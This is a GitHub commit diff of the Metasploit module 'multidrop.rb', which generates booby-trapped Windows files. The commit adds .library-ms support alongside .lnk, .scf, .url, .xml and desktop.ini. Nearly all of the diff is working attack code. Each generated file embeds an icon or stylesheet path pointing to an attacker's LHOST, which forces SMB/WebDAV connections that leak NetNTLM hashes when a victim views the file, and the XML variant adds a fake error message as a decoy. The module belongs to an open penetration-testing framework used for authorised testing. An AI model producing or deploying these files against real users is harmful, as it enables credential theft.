Skip to content

Commit e178249

Browse files
msutovsky-r7msutovsky-r7
authored
Land rapid7#20116, adds support for .library-ms files
auxiliary/fileformat/multidrop: Add support for .library-ms files
2 parents 533f83c + 14eca0a commit e178249

File tree

1 file changed

+118
-73
lines changed

1 file changed

+118
-73
lines changed

‎modules/auxiliary/fileformat/multidrop.rb‎

Lines changed: 118 additions & 73 deletions
Original file line numberDiff line numberDiff line change
@@ -3,107 +3,117 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
class MetasploitModule < Msf::Auxiliary
87
include Msf::Exploit::FILEFORMAT
98

10-
def initialize(info={})
11-
super( update_info( info,
12-
'Name' => 'Windows SMB Multi Dropper',
13-
'Description' => %q{
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Windows SMB Multi Dropper',
14+
'Description' => %q{
1415
This module dependent on the given filename extension creates either
15-
a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference
16-
to the specified remote host, causing SMB connections to be initiated
17-
from any user that views the file.
16+
a .lnk, .scf, .url, .xml, .library-ms, or desktop.ini file which includes
17+
a reference to the specified remote host, causing SMB connections to be
18+
initiated from any user that views the file.
1819
},
19-
'License' => MSF_LICENSE,
20-
'Author' =>
21-
[
22-
'Richard Davy - secureyourit.co.uk', #Module written by Richard Davy
23-
'Lnk Creation Code by Mubix', #Lnk Creation Code written by Mubix
24-
'asoto-r7' #Word XML creation code
25-
],
26-
'Platform' => [ 'win' ],
27-
'References' =>
28-
[
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'Richard Davy - secureyourit.co.uk', # Module written by Richard Davy
23+
'mubix', # Lnk Creation Code written by Mubix
24+
'asoto-r7', # Word XML creation code
25+
'hyp3rlinx', # .library-ms technique
26+
'bcoles', # Added .library-ms support
27+
],
28+
'Platform' => [ 'win' ],
29+
'References' => [
2930
['URL', 'https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018'],
3031
['URL', 'https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/'],
3132
['URL', 'https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/'],
32-
]
33-
34-
))
33+
['URL', 'https://web.archive.org/web/20190106181024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt'],
34+
],
35+
'Notes' => {
36+
'Stability' => [CRASH_SAFE],
37+
'SideEffects' => [],
38+
'Reliability' => []
39+
}
40+
)
41+
)
3542
register_options(
3643
[
37-
OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
38-
OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, *.xml, desktop.ini", "word.lnk"]),
39-
])
44+
OptAddress.new('LHOST', [ true, 'Host listening for incoming SMB/WebDAV traffic', nil]),
45+
OptString.new('FILENAME', [ true, 'Filename - supports *.lnk, *.scf, *.url, *.xml, *.library-ms, desktop.ini', 'word.lnk']),
46+
]
47+
)
4048
end
4149

4250
def run
43-
if datastore['FILENAME'].chars.last(3).join=="lnk"
44-
createlnk
45-
elsif datastore['FILENAME'].chars.last(3).join=="scf"
46-
createscf
47-
elsif datastore['FILENAME']=="desktop.ini"
48-
create_desktopini
49-
elsif datastore['FILENAME'].chars.last(3).join=="url"
50-
create_url
51-
elsif datastore['FILENAME'].chars.last(3).join=="xml"
52-
create_xml
51+
if datastore['FILENAME'].chars.last(3).join == 'lnk'
52+
createlnk
53+
elsif datastore['FILENAME'].chars.last(3).join == 'scf'
54+
createscf
55+
elsif datastore['FILENAME'] == 'desktop.ini'
56+
create_desktopini
57+
elsif datastore['FILENAME'].chars.last(3).join == 'url'
58+
create_url
59+
elsif datastore['FILENAME'].chars.last(3).join == 'xml'
60+
create_xml
61+
elsif datastore['FILENAME'].ends_with?('.library-ms')
62+
create_libraryms
5363
else
54-
fail_with(Failure::BadConfig,"Invalid FILENAME option")
64+
fail_with(Failure::BadConfig, 'Invalid FILENAME option')
5565
end
5666
end
5767

5868
def createlnk
59-
#Code below taken from module droplnk.rb written by Mubix
60-
lnk = ""
61-
lnk << "\x4c\x00\x00\x00" #Header size
62-
lnk << "\x01\x14\x02\x00\x00\x00\x00\x00" #Link CLSID
69+
# Code below taken from module droplnk.rb written by Mubix
70+
lnk = ''
71+
lnk << "\x4c\x00\x00\x00" # Header size
72+
lnk << "\x01\x14\x02\x00\x00\x00\x00\x00" # Link CLSID
6373
lnk << "\xc0\x00\x00\x00\x00\x00\x00\x46"
64-
lnk << "\xdb\x00\x00\x00" #Link flags
65-
lnk << "\x20\x00\x00\x00" #File attributes
66-
lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Creation time
67-
lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Access time
68-
lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Write time
69-
lnk << "\x00\x00\x00\x00" #File size
70-
lnk << "\x00\x00\x00\x00" #Icon index
71-
lnk << "\x01\x00\x00\x00" #Show command
72-
lnk << "\x00\x00" #Hotkey
73-
lnk << "\x00\x00" #Reserved
74-
lnk << "\x00\x00\x00\x00" #Reserved
75-
lnk << "\x00\x00\x00\x00" #Reserved
76-
lnk << "\x7b\x00" #IDListSize
77-
#sIDList
74+
lnk << "\xdb\x00\x00\x00" # Link flags
75+
lnk << "\x20\x00\x00\x00" # File attributes
76+
lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Creation time
77+
lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Access time
78+
lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Write time
79+
lnk << "\x00\x00\x00\x00" # File size
80+
lnk << "\x00\x00\x00\x00" # Icon index
81+
lnk << "\x01\x00\x00\x00" # Show command
82+
lnk << "\x00\x00" # Hotkey
83+
lnk << "\x00\x00" # Reserved
84+
lnk << "\x00\x00\x00\x00" # Reserved
85+
lnk << "\x00\x00\x00\x00" # Reserved
86+
lnk << "\x7b\x00" # IDListSize
87+
# sIDList
7888
lnk << "\x14\x00\x1f\x50\xe0\x4f\xd0\x20"
7989
lnk << "\xea\x3a\x69\x10\xa2\xd8\x08\x00"
8090
lnk << "\x2b\x30\x30\x9d\x19\x00\x2f"
81-
lnk << "C:\\"
91+
lnk << 'C:\\'
8292
lnk << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
8393
lnk << "\x00\x00\x00\x4c\x00\x32\x00\x00\x00\x00\x00\x7d\x3f\x5b\x15\x20"
8494
lnk << "\x00"
85-
lnk << "AUTOEXEC.BAT"
95+
lnk << 'AUTOEXEC.BAT'
8696
lnk << "\x00\x00\x30\x00\x03\x00\x04\x00\xef\xbe\x7d\x3f\x5b\x15\x7d\x3f"
8797
lnk << "\x5b\x15\x14\x00\x00\x00"
88-
lnk << Rex::Text.to_unicode("AUTOEXEC.BAT")
98+
lnk << Rex::Text.to_unicode('AUTOEXEC.BAT')
8999
lnk << "\x00\x00\x1c\x00\x00\x00"
90-
#sLinkInfo
100+
# sLinkInfo
91101
lnk << "\x3e\x00\x00\x00\x1c\x00\x00\x00\x01\x00"
92102
lnk << "\x00\x00\x1c\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x3d\x00"
93103
lnk << "\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x3e\x77\xbf\xbc\x10\x00"
94104
lnk << "\x00\x00\x00"
95-
lnk << "C:\\AUTOEXEC.BAT"
105+
lnk << 'C:\\AUTOEXEC.BAT'
96106
lnk << "\x00\x00\x0e\x00"
97-
#RELATIVE_PATH
98-
lnk << Rex::Text.to_unicode(".\\AUTOEXEC.BAT")
107+
# RELATIVE_PATH
108+
lnk << Rex::Text.to_unicode('.\\AUTOEXEC.BAT')
99109
lnk << "\x03\x00"
100-
#WORKING_DIR
101-
lnk << Rex::Text.to_unicode("C:\\")
102-
#ICON LOCATION
110+
# WORKING_DIR
111+
lnk << Rex::Text.to_unicode('C:\\')
112+
# ICON LOCATION
103113
lnk << "\x1c\x00"
104114
lnk << Rex::Text.to_unicode("\\\\#{datastore['LHOST']}\\icon.ico")
105115
lnk << "\x00\x00\x03\x00\x00\xa0\x58\x00\x00\x00\x00\x00\x00\x00"
106-
lnk << "computer"
116+
lnk << 'computer'
107117
lnk << "\x00\x00\x00\x00\x00\x00\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"
108118
lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"
109119
lnk << "\x08\x00\x27\x6f\xe3\x1f\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"
@@ -114,42 +124,77 @@ def createlnk
114124
end
115125

116126
def createscf
117-
scf=""
127+
scf = ''
118128
scf << "[Shell]\n"
119129
scf << "Command=2\n"
120130
scf << "IconFile=\\\\#{datastore['LHOST']}\\test.ico\n"
121131
scf << "[Taskbar]\n"
122-
scf << "Command=ToggleDesktop"
132+
scf << 'Command=ToggleDesktop'
123133

124134
file_create(scf)
125135
end
126136

127137
def create_desktopini
128-
ini=""
138+
ini = ''
129139
ini << "[.ShellClassInfo]\n"
130140
ini << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"
131-
ini << "IconIndex=1337"
141+
ini << 'IconIndex=1337'
132142

133143
file_create(ini)
134144
end
135145

136146
def create_url
137-
url=""
147+
url = ''
138148
url << "[InternetShortcut]\n"
139149
url << "URL=file://#{datastore['LHOST']}/url.html\n"
140150
url << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"
141151

142152
file_create(url)
143153
end
144154

155+
def create_libraryms
156+
xml = ''
157+
xml << '<?xml version="1.0" encoding="UTF-8"?>'
158+
xml << '<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">'
159+
xml << '<name>@shell32.dll,-34575</name>'
160+
xml << '<ownerSID>S-1-5-21-372074477-2495183225-776587326-1000</ownerSID>'
161+
xml << '<version>1</version>'
162+
xml << '<isLibraryPinned>true</isLibraryPinned>'
163+
xml << "<iconReference>\\\\#{datastore['LHOST']}\\icon.ico</iconReference>"
164+
xml << '<templateInfo>'
165+
xml << '<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>'
166+
xml << '</templateInfo>'
167+
xml << '<searchConnectorDescriptionList>'
168+
xml << '<searchConnectorDescription publisher="Microsoft" product="Windows">'
169+
xml << '<description>@shell32.dll,-34577</description>'
170+
xml << '<isDefaultSaveLocation>true</isDefaultSaveLocation>'
171+
xml << '<simpleLocation>'
172+
xml << '<url>knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7}</url>'
173+
xml << '<serialized>MBAAAEAFCAAA...MFNVAAAAAA</serialized>'
174+
xml << '</simpleLocation>'
175+
xml << '</searchConnectorDescription>'
176+
xml << '<searchConnectorDescription publisher="Microsoft" product="Windows">'
177+
xml << '<description>@shell32.dll,-34579</description>'
178+
xml << '<isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation>'
179+
xml << '<simpleLocation>'
180+
xml << '<url>knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634}</url>'
181+
xml << '<serialized>MBAAAEAFCAAA...HJIfK9AAAAAA</serialized>'
182+
xml << '</simpleLocation>'
183+
xml << '</searchConnectorDescription>'
184+
xml << '</searchConnectorDescriptionList>'
185+
xml << '</libraryDescription>'
186+
187+
file_create(xml)
188+
end
189+
145190
def create_xml
146-
xml=""
191+
xml = ''
147192
xml << "<?xml version='1.0' encoding='utf-8' ?>"
148193
xml << "<?mso-application progid='Word.Document'?>"
149194
xml << "<?xml-stylesheet type='text/xsl' href='file://#{datastore['LHOST']}/share/word.xsl'?>"
150-
xml << "<Text>"
151-
xml << " FATAL ERROR: The document failed to render properly."
152-
xml << "</Text>"
195+
xml << '<Text>'
196+
xml << ' FATAL ERROR: The document failed to render properly.'
197+
xml << '</Text>'
153198

154199
file_create(xml)
155200
end

0 commit comments

Comments
 (0)